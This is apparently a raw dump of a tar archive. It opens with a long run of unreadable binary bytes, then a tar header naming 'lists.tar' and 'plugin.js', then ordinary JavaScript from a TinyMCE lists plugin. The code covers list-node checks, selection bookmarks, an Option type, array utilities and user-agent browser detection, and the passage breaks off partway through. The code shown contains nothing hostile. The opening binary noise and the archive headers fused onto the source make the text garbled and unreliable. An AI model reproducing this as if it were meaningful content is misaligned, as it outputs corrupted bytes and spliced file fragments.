)/��W��~%�>����c�GVD�-ďI�My',��7�-���4�+�gOƎ��0sFd�l0�+���[�z�e�1[�MS��'6&�镇�3�w��j-8Jx��W��d#_��^��X�^w�^d�z�cߖ�<�e��K��m�@���7ȓo��j�Yw��しR6)@CX��`���͠n_��󄚝'�o�5�WJؠ�d\6cʤ|௠t�Z�n�{A��_þ�b3ܮ�tF��#%E.:=F���mh/4���������PE�l�-����Iܒf���}����R�2u񫵡���I�~�u~D���#��?-y$2�񝪾�/�ĸ1r��|�gkΎ�eQЈ�l�|��41P�])l�d�Ey�W�eO���.�!5hp��N#�]��| �X����k^��>���m��'3���dD���|V�N��7O/�#6%oYW����pH��槗3[��H����X��(�R�!��QA��3g
��7��o_v��	��Uk��ژ�zyl�I�Ї��gM�d�}�X"/<�G�>B4������,�Ag�I��8OcY��#����F]zN3s��x�x�&u��̭��ue��e��"��7��FH�\Ƈ�5v]y����Y	���^g3�{R�lOc�=5x���$�\wC�H5�_�g7=}{�n	�����������W��_�G�3�o�� o��5\�_�;�Uٻ�?'���_e�&�ǮR�#Vub6xC��,u�zQ	�ex�wBŰ��yj�k`&L���wŰ�Ɔ�~���l�ES�cF&4�ษޣ��%�,���H��8ɚ��ˣ��Q�zlh2�ܕy��%C��J��e��Z�m$���h�{d\�G�p�ս�p~j����6�E��*���>'�pyg��*^~�H�ȇ�T��<�*��F��Ub�{<t,��H��Y����uA�+a6-x����_�?=�%�x���҉�a?>�KX���/v���Z�C�LJ7i�!?��Nf�f�G����;1���X���;*�@)�=B�=�ƻA��_���;�*��G�� �)b����$�ͳ՛�kx��z.��wA�;n�=��DhG��|�'�\�-��mtt�s@����{������{����m�h�GK>Z��ڏ6��;Z�������������%��揶���#�9yq�v���C���=m�U3�f�ujZ
Z��ڟ�

�`0
u719���	E��e'%%M�LO��vtݞGtS~�+�8)�������C\\\��<{�n�g�㕉�E`�p&���̊ᅫ�JI�����-����'�D����fG��O":N[[�c���q1��!�A��N��S5��ӓ��7����f���]��MYyE��m`Xrgw���CGWwLIUU5yѺ}U:jnnnjj�����O��+��<�pqш�v�]"/u��-3jW�oP7U�n�.ť�i�9ť����鵹��@/����e{nIm{g�����h��(p�4co��������[���!��u
�:U
�4)?�Al,/&���#�S;���+���˛��ͳ=Ьc�.��%���1jd�
�mn튘�4���rw�3$|���§d�$� �o9�b��(��
wl��]_\Z�@"LSgss��{K���{��
̈́����>�*mb|��};�^DZ�m�����(F$���M���ޜ�o�C}�M���sM%Ba�bVJ&
�
Y�	��S�2�w�7"��une�'P�غ�1��-zzǀ�s���ʙ#ĵs��Oծ}�T�$<2"
	;��r��֎��T��M� d�;���5�ͣ%>����9u`�ChRRT�*��$������d80ԛ���QQ^�D)O���%E	.P��z3ӈ���}��W���C>���hE��F"�P�g��8���2�;�o�;ɂ�3����=�t���T��6�zh���$�����pD�`�?,�p�$&L�� L�^�C��o�O5���b��7�0�`�z���ej��"C�n>���Ǥ}�W�f��X�T�E%����z��������i�;Ĝ�����P��^�HE
��Q׽z��ޔ��e5p�C	�V��"�����50��2��')}�7������I�;�l����"Λ�ս��;�H���R����%�w����{���ab�������<��F�V��6٢�Go�=�!�-
���8�-�*8{�0Ѿ7���}~gs,ܱ�S0M�jN~#*K_�Y����Ր,��p���e�g?.����Lɓ)�Tz��w�>	u3�Z����]�ݱ�Ys�p�(&}p��`"ȯ�_rU-Uȋ9�(�Qҋ�J>Qk�����(��V'~T�[�d�r'��n�ݎOFw�D��8
�+`�F�e�JEa���5AF�_s�aN��VG����p��Ԕ!z� ��{�����6�[��FT�#txb��Z���P��Z������x0Wf�]�2��o��d*�z��g{u��f�N(�L�7�ul���������k�*���G:8ϖ�ev�%ZO,���eh��ruo��k���#<kZ�o~��[3ҹ��fJJ���������o.���[��<�w�ڏ�5ZN'��|-�

�;�ƭ�6m�)��zy��|ruo����3
7����z�;ɮ/|.aw���o��,�c_�� ���a�i����-�����7-�/#�;�����㹜s��2s�B KZs�����ߧ��03P9>���L���P��.�/O}�xC��hך���_m��.����o$��/�����~rI��{h-`�e�Q��g��o�<,�88{s�5��
�E�X���i:3�e�}�^,=��|��t�=KA��s'kr}8
ٴ$�r/(7�ZiW�a�"g^9����Y�I@@K`�P��}Y���}�0�<2�+2l;�:�t��O�݌I�����o��zK�\�~ccCuSUsc�?�3�D���-N-Ã��1��u��|cBt
��"w�����WT�=8�Q�y}e�,B���c��@0�3�@1a��rr���w�+��6�
7/�#�,�x2��Ş:a��k�V�^pC^�s�.RޖwCp�sV�Zq
���>"Ǹ�F�?m$�{g��7e��7E�}VxkS�ʅmϗuɤ����~?zx���Nt����)��WL�:Z�<]<�I�~�J恎�6���g�ţc�g���/Vf����������+�?x�������j4��&��Ѹ���Z�����n@�@MM�xk{g
���

UVV�C�*�����=>�UTT��'W�7���렍����#hEU������C5v���������6��Fo��pr�@�FmS{UU�����^�zuu-�]���OV���stt�~
~rR��vyu�����a$�n(����nTSۊ8=W�4Y�s�*{����8�e5M���T�:���UI��Sleu=<1��#[__��[3��G9C�-D��:�U�*�%��P�IdJnw��>䨸�NJQ{go85�#�?:��Y82���$�C[�̑��kuCG`lFoo?Z�ff��m�l�}[�iX�9�eb��U~[�z[�4�K*�~��F&K��N�/���f�x*�Y)�X��ķ��c�I)�݂�M�*��~h��?������Shj�e`����߇�ޡ�;t,\¢S����ԍ�s�:.�!��)uC����U�vSs���Z�W�ZZZJj�,������F��ה׶FD&WԘ�y7�vz�Ƶ���V��ѱ�f�փv��}�i�ں�&疣�Y��7��{�}����M�}G�l�r�9���
���0t�����e�:y��f�
�K+�mh�����K��[P�4nh�j�ꉏO���R5��(m���)�����/�i0sHZ;z�W4�yGx�%��g@a�����-݃uuu���l�زh���(��=!ܾkܳ�`��D�GC��#/H�S=�m�y�5Z�_um8���PPo�mn��8�]G��O2:�1�[�(�f(��1�*@�Dё�"��փl�V�
�=n,��U���O�
N�)35���Au����ݗ<�"�R+�G�j}�^���b�O�PG�.?x{�)n�0������v��Þ���7���@��};����-e��]E��!◸<]����!�֩Y�)}�mf��ހ�,�$��rT��M���s�#a�X6}p� ���{���"��'
+;��D҉G�.
�s��<F�zY6��4�/�'���Y�-3<����w̞M���3|NNp����t7-���P��F��4'�rnc��}�V�_c˒-�2V�n���P�̞�L;4 0��ޤ$xv��H�r�7~
�`�!�L�!X"�d��=�Ya�}�F&��:ǚ|�>���;a���~_�ZJ4�Ve8J�N�����I\��\�)��70�IM8������tѤtH�+�1l�(N���f�|�]���y�;�[��{j��.�<~=S�r,��j��m�H�ќo�w%E�����J'w�/��O�am��ۦI�6%�>���?i=����8L߯����1>��JC��j0�m6n��I �g\���X݊����Y�ֽ	��DN�n�j_�,5�i�z�tO���,j��)�8K�������wl�f<�/�V�bK��eB��{gB�iPW��p?�0D�\
uW�Jӿ.r��DU�]��v��D�#N7
�Soj��^��#�F�ݚSR���(i��N���e�i2m�+/R�$�n���_�8���)u��I2 ���1ѿ��>�z�S9$t������y�:yv�����ʪ3~[��!)Su����k|�aK��Ig��n	5t��zms<5�X!�tڷqts�M'Z�9�:�g���)/`�� ���d=YS��3�~a�K5_
�J󵍊<�3�>��?=��g~ݢ�tmp@	};�M�׬_:ԏ���Iu ��#z��u���k��
o� ��Cȼ�'�+�
��IW�Z%7��K�u0qW�������� ��Q#V~]�m�D�s3&=!q�t�$�1��T?_�g�W�%���ԥ�;*o�$�+!���a�%&�֫����۽O��~�Vɩ�5�䝉�z_����+i�{�/��ȍ?ܨ����V�+X���D�����%(�L%~���=����9s~�!��ߑ5&7Ƴ�p6��Y��<l{��=�4{ �"F���2����H|��ՒxK���8��-����������*ԼE`14338/lists.tar000064400000303000151024420100007055 0ustar00plugin.js000064400000211417151024272700006406 0ustar00(function () {
var lists = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');

    var global$2 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK');

    var global$4 = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager');

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var global$6 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var isTextNode = function (node) {
      return node && node.nodeType === 3;
    };
    var isListNode = function (node) {
      return node && /^(OL|UL|DL)$/.test(node.nodeName);
    };
    var isOlUlNode = function (node) {
      return node && /^(OL|UL)$/.test(node.nodeName);
    };
    var isListItemNode = function (node) {
      return node && /^(LI|DT|DD)$/.test(node.nodeName);
    };
    var isDlItemNode = function (node) {
      return node && /^(DT|DD)$/.test(node.nodeName);
    };
    var isTableCellNode = function (node) {
      return node && /^(TH|TD)$/.test(node.nodeName);
    };
    var isBr = function (node) {
      return node && node.nodeName === 'BR';
    };
    var isFirstChild = function (node) {
      return node.parentNode.firstChild === node;
    };
    var isLastChild = function (node) {
      return node.parentNode.lastChild === node;
    };
    var isTextBlock = function (editor, node) {
      return node && !!editor.schema.getTextBlockElements()[node.nodeName];
    };
    var isBlock = function (node, blockElements) {
      return node && node.nodeName in blockElements;
    };
    var isBogusBr = function (dom, node) {
      if (!isBr(node)) {
        return false;
      }
      if (dom.isBlock(node.nextSibling) && !isBr(node.previousSibling)) {
        return true;
      }
      return false;
    };
    var isEmpty = function (dom, elm, keepBookmarks) {
      var empty = dom.isEmpty(elm);
      if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) {
        return false;
      }
      return empty;
    };
    var isChildOfBody = function (dom, elm) {
      return dom.isChildOf(elm, dom.getRoot());
    };
    var NodeType = {
      isTextNode: isTextNode,
      isListNode: isListNode,
      isOlUlNode: isOlUlNode,
      isDlItemNode: isDlItemNode,
      isListItemNode: isListItemNode,
      isTableCellNode: isTableCellNode,
      isBr: isBr,
      isFirstChild: isFirstChild,
      isLastChild: isLastChild,
      isTextBlock: isTextBlock,
      isBlock: isBlock,
      isBogusBr: isBogusBr,
      isEmpty: isEmpty,
      isChildOfBody: isChildOfBody
    };

    var getNormalizedPoint = function (container, offset) {
      if (NodeType.isTextNode(container)) {
        return {
          container: container,
          offset: offset
        };
      }
      var node = global$1.getNode(container, offset);
      if (NodeType.isTextNode(node)) {
        return {
          container: node,
          offset: offset >= container.childNodes.length ? node.data.length : 0
        };
      } else if (node.previousSibling && NodeType.isTextNode(node.previousSibling)) {
        return {
          container: node.previousSibling,
          offset: node.previousSibling.data.length
        };
      } else if (node.nextSibling && NodeType.isTextNode(node.nextSibling)) {
        return {
          container: node.nextSibling,
          offset: 0
        };
      }
      return {
        container: container,
        offset: offset
      };
    };
    var normalizeRange = function (rng) {
      var outRng = rng.cloneRange();
      var rangeStart = getNormalizedPoint(rng.startContainer, rng.startOffset);
      outRng.setStart(rangeStart.container, rangeStart.offset);
      var rangeEnd = getNormalizedPoint(rng.endContainer, rng.endOffset);
      outRng.setEnd(rangeEnd.container, rangeEnd.offset);
      return outRng;
    };
    var Range = {
      getNormalizedPoint: getNormalizedPoint,
      normalizeRange: normalizeRange
    };

    var DOM = global$6.DOM;
    var createBookmark = function (rng) {
      var bookmark = {};
      var setupEndPoint = function (start) {
        var offsetNode, container, offset;
        container = rng[start ? 'startContainer' : 'endContainer'];
        offset = rng[start ? 'startOffset' : 'endOffset'];
        if (container.nodeType === 1) {
          offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' });
          if (container.hasChildNodes()) {
            offset = Math.min(offset, container.childNodes.length - 1);
            if (start) {
              container.insertBefore(offsetNode, container.childNodes[offset]);
            } else {
              DOM.insertAfter(offsetNode, container.childNodes[offset]);
            }
          } else {
            container.appendChild(offsetNode);
          }
          container = offsetNode;
          offset = 0;
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      };
      setupEndPoint(true);
      if (!rng.collapsed) {
        setupEndPoint();
      }
      return bookmark;
    };
    var resolveBookmark = function (bookmark) {
      function restoreEndPoint(start) {
        var container, offset, node;
        var nodeIndex = function (container) {
          var node = container.parentNode.firstChild, idx = 0;
          while (node) {
            if (node === container) {
              return idx;
            }
            if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') {
              idx++;
            }
            node = node.nextSibling;
          }
          return -1;
        };
        container = node = bookmark[start ? 'startContainer' : 'endContainer'];
        offset = bookmark[start ? 'startOffset' : 'endOffset'];
        if (!container) {
          return;
        }
        if (container.nodeType === 1) {
          offset = nodeIndex(container);
          container = container.parentNode;
          DOM.remove(node);
          if (!container.hasChildNodes() && DOM.isBlock(container)) {
            container.appendChild(DOM.create('br'));
          }
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      }
      restoreEndPoint(true);
      restoreEndPoint();
      var rng = DOM.createRng();
      rng.setStart(bookmark.startContainer, bookmark.startOffset);
      if (bookmark.endContainer) {
        rng.setEnd(bookmark.endContainer, bookmark.endOffset);
      }
      return Range.normalizeRange(rng);
    };
    var Bookmark = {
      createBookmark: createBookmark,
      resolveBookmark: resolveBookmark
    };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var not = function (f) {
      return function () {
        var args = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          args[_i] = arguments[_i];
        }
        return !f.apply(null, args);
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var typeOf = function (x) {
      if (x === null) {
        return 'null';
      }
      var t = typeof x;
      if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) {
        return 'array';
      }
      if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) {
        return 'string';
      }
      return t;
    };
    var isType = function (type) {
      return function (value) {
        return typeOf(value) === type;
      };
    };
    var isString = isType('string');
    var isArray = isType('array');
    var isBoolean = isType('boolean');
    var isFunction = isType('function');
    var isNumber = isType('number');

    var nativeSlice = Array.prototype.slice;
    var nativePush = Array.prototype.push;
    var map = function (xs, f) {
      var len = xs.length;
      var r = new Array(len);
      for (var i = 0; i < len; i++) {
        var x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    var each = function (xs, f) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        f(x, i);
      }
    };
    var filter = function (xs, pred) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    var groupBy = function (xs, f) {
      if (xs.length === 0) {
        return [];
      } else {
        var wasType = f(xs[0]);
        var r = [];
        var group = [];
        for (var i = 0, len = xs.length; i < len; i++) {
          var x = xs[i];
          var type = f(x);
          if (type !== wasType) {
            r.push(group);
            group = [];
          }
          wasType = type;
          group.push(x);
        }
        if (group.length !== 0) {
          r.push(group);
        }
        return r;
      }
    };
    var foldl = function (xs, f, acc) {
      each(xs, function (x) {
        acc = f(acc, x);
      });
      return acc;
    };
    var find = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return Option.some(x);
        }
      }
      return Option.none();
    };
    var flatten = function (xs) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    var bind = function (xs, f) {
      var output = map(xs, f);
      return flatten(output);
    };
    var reverse = function (xs) {
      var r = nativeSlice.call(xs, 0);
      r.reverse();
      return r;
    };
    var head = function (xs) {
      return xs.length === 0 ? Option.none() : Option.some(xs[0]);
    };
    var last = function (xs) {
      return xs.length === 0 ? Option.none() : Option.some(xs[xs.length - 1]);
    };
    var from$1 = isFunction(Array.from) ? Array.from : function (x) {
      return nativeSlice.call(x);
    };

    var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')();

    var path = function (parts, scope) {
      var o = scope !== undefined && scope !== null ? scope : Global;
      for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    var resolve = function (p, scope) {
      var parts = p.split('.');
      return path(parts, scope);
    };

    var unsafe = function (name, scope) {
      return resolve(name, scope);
    };
    var getOrDie = function (name, scope) {
      var actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };
    var Global$1 = { getOrDie: getOrDie };

    var htmlElement = function (scope) {
      return Global$1.getOrDie('HTMLElement', scope);
    };
    var isPrototypeOf = function (x) {
      var scope = resolve('ownerDocument.defaultView', x);
      return htmlElement(scope).prototype.isPrototypeOf(x);
    };
    var HTMLElement = { isPrototypeOf: isPrototypeOf };

    var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');

    var getParentList = function (editor) {
      var selectionStart = editor.selection.getStart(true);
      return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart));
    };
    var isParentListSelected = function (parentList, selectedBlocks) {
      return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList;
    };
    var findSubLists = function (parentList) {
      return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) {
        return NodeType.isListNode(elm);
      });
    };
    var getSelectedSubLists = function (editor) {
      var parentList = getParentList(editor);
      var selectedBlocks = editor.selection.getSelectedBlocks();
      if (isParentListSelected(parentList, selectedBlocks)) {
        return findSubLists(parentList);
      } else {
        return global$5.grep(selectedBlocks, function (elm) {
          return NodeType.isListNode(elm) && parentList !== elm;
        });
      }
    };
    var findParentListItemsNodes = function (editor, elms) {
      var listItemsElms = global$5.map(elms, function (elm) {
        var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm));
        return parentLi ? parentLi : elm;
      });
      return global$7.unique(listItemsElms);
    };
    var getSelectedListItems = function (editor) {
      var selectedBlocks = editor.selection.getSelectedBlocks();
      return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) {
        return NodeType.isListItemNode(block);
      });
    };
    var getSelectedDlItems = function (editor) {
      return filter(getSelectedListItems(editor), NodeType.isDlItemNode);
    };
    var getClosestListRootElm = function (editor, elm) {
      var parentTableCell = editor.dom.getParents(elm, 'TD,TH');
      var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody();
      return root;
    };
    var findLastParentListNode = function (editor, elm) {
      var parentLists = editor.dom.getParents(elm, 'ol,ul', getClosestListRootElm(editor, elm));
      return last(parentLists);
    };
    var getSelectedLists = function (editor) {
      var firstList = findLastParentListNode(editor, editor.selection.getStart());
      var subsequentLists = filter(editor.selection.getSelectedBlocks(), NodeType.isOlUlNode);
      return firstList.toArray().concat(subsequentLists);
    };
    var getSelectedListRoots = function (editor) {
      var selectedLists = getSelectedLists(editor);
      return getUniqueListRoots(editor, selectedLists);
    };
    var getUniqueListRoots = function (editor, lists) {
      var listRoots = map(lists, function (list) {
        return findLastParentListNode(editor, list).getOr(list);
      });
      return global$7.unique(listRoots);
    };
    var isList = function (editor) {
      var list = getParentList(editor);
      return HTMLElement.isPrototypeOf(list);
    };
    var Selection = {
      isList: isList,
      getParentList: getParentList,
      getSelectedSubLists: getSelectedSubLists,
      getSelectedListItems: getSelectedListItems,
      getClosestListRootElm: getClosestListRootElm,
      getSelectedDlItems: getSelectedDlItems,
      getSelectedListRoots: getSelectedListRoots
    };

    var fromHtml = function (html, scope) {
      var doc = scope || domGlobals.document;
      var div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        domGlobals.console.error('HTML does not have a single root node', html);
        throw new Error('HTML must have a single root node');
      }
      return fromDom(div.childNodes[0]);
    };
    var fromTag = function (tag, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createElement(tag);
      return fromDom(node);
    };
    var fromText = function (text, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createTextNode(text);
      return fromDom(node);
    };
    var fromDom = function (node) {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: constant(node) };
    };
    var fromPoint = function (docElm, x, y) {
      var doc = docElm.dom();
      return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
    };
    var Element = {
      fromHtml: fromHtml,
      fromTag: fromTag,
      fromText: fromText,
      fromDom: fromDom,
      fromPoint: fromPoint
    };

    var lift2 = function (oa, ob, f) {
      return oa.isSome() && ob.isSome() ? Option.some(f(oa.getOrDie(), ob.getOrDie())) : Option.none();
    };

    var fromElements = function (elements, scope) {
      var doc = scope || domGlobals.document;
      var fragment = doc.createDocumentFragment();
      each(elements, function (element) {
        fragment.appendChild(element.dom());
      });
      return Element.fromDom(fragment);
    };

    var Immutable = function () {
      var fields = [];
      for (var _i = 0; _i < arguments.length; _i++) {
        fields[_i] = arguments[_i];
      }
      return function () {
        var values = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          values[_i] = arguments[_i];
        }
        if (fields.length !== values.length) {
          throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
        }
        var struct = {};
        each(fields, function (name, i) {
          struct[name] = constant(values[i]);
        });
        return struct;
      };
    };

    var keys = Object.keys;
    var each$1 = function (obj, f) {
      var props = keys(obj);
      for (var k = 0, len = props.length; k < len; k++) {
        var i = props[k];
        var x = obj[i];
        f(x, i);
      }
    };

    var node = function () {
      var f = Global$1.getOrDie('Node');
      return f;
    };
    var compareDocumentPosition = function (a, b, match) {
      return (a.compareDocumentPosition(b) & match) !== 0;
    };
    var documentPositionPreceding = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
    };
    var documentPositionContainedBy = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
    };
    var Node = {
      documentPositionPreceding: documentPositionPreceding,
      documentPositionContainedBy: documentPositionContainedBy
    };

    var cached = function (f) {
      var called = false;
      var r;
      return function () {
        var args = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          args[_i] = arguments[_i];
        }
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    var firstMatch = function (regexes, s) {
      for (var i = 0; i < regexes.length; i++) {
        var x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    var find$1 = function (regexes, agent) {
      var r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      var group = function (i) {
        return Number(agent.replace(r, '$' + i));
      };
      return nu(group(1), group(2));
    };
    var detect = function (versionRegexes, agent) {
      var cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown();
      }
      return find$1(versionRegexes, cleanedAgent);
    };
    var unknown = function () {
      return nu(0, 0);
    };
    var nu = function (major, minor) {
      return {
        major: major,
        minor: minor
      };
    };
    var Version = {
      nu: nu,
      detect: detect,
      unknown: unknown
    };

    var edge = 'Edge';
    var chrome = 'Chrome';
    var ie = 'IE';
    var opera = 'Opera';
    var firefox = 'Firefox';
    var safari = 'Safari';
    var isBrowser = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$1 = function () {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$1 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isEdge: isBrowser(edge, current),
        isChrome: isBrowser(chrome, current),
        isIE: isBrowser(ie, current),
        isOpera: isBrowser(opera, current),
        isFirefox: isBrowser(firefox, current),
        isSafari: isBrowser(safari, current)
      };
    };
    var Browser = {
      unknown: unknown$1,
      nu: nu$1,
      edge: constant(edge),
      chrome: constant(chrome),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    var windows = 'Windows';
    var ios = 'iOS';
    var android = 'Android';
    var linux = 'Linux';
    var osx = 'OSX';
    var solaris = 'Solaris';
    var freebsd = 'FreeBSD';
    var isOS = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$2 = function () {
      return nu$2({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$2 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isWindows: isOS(windows, current),
        isiOS: isOS(ios, current),
        isAndroid: isOS(android, current),
        isOSX: isOS(osx, current),
        isLinux: isOS(linux, current),
        isSolaris: isOS(solaris, current),
        isFreeBSD: isOS(freebsd, current)
      };
    };
    var OperatingSystem = {
      unknown: unknown$2,
      nu: nu$2,
      windows: constant(windows),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      osx: constant(osx),
      solaris: constant(solaris),
      freebsd: constant(freebsd)
    };

    var DeviceType = function (os, browser, userAgent) {
      var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      var isiPhone = os.isiOS() && !isiPad;
      var isAndroid3 = os.isAndroid() && os.version.major === 3;
      var isAndroid4 = os.isAndroid() && os.version.major === 4;
      var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
      var isTouch = os.isiOS() || os.isAndroid();
      var isPhone = isTouch && !isTablet;
      var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview)
      };
    };

    var detect$1 = function (candidates, userAgent) {
      var agent = String(userAgent).toLowerCase();
      return find(candidates, function (candidate) {
        return candidate.search(agent);
      });
    };
    var detectBrowser = function (browsers, userAgent) {
      return detect$1(browsers, userAgent).map(function (browser) {
        var version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version: version
        };
      });
    };
    var detectOs = function (oses, userAgent) {
      return detect$1(oses, userAgent).map(function (os) {
        var version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version: version
        };
      });
    };
    var UaString = {
      detectBrowser: detectBrowser,
      detectOs: detectOs
    };

    var contains = function (str, substr) {
      return str.indexOf(substr) !== -1;
    };

    var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    var checkContains = function (target) {
      return function (uastring) {
        return contains(uastring, target);
      };
    };
    var browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: function (uastring) {
          return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chrome',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: function (uastring) {
          return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: function (uastring) {
          return contains(uastring, 'msie') || contains(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: function (uastring) {
          return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit');
        }
      }
    ];
    var oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: function (uastring) {
          return contains(uastring, 'iphone') || contains(uastring, 'ipad');
        },
        versionRegexes: [
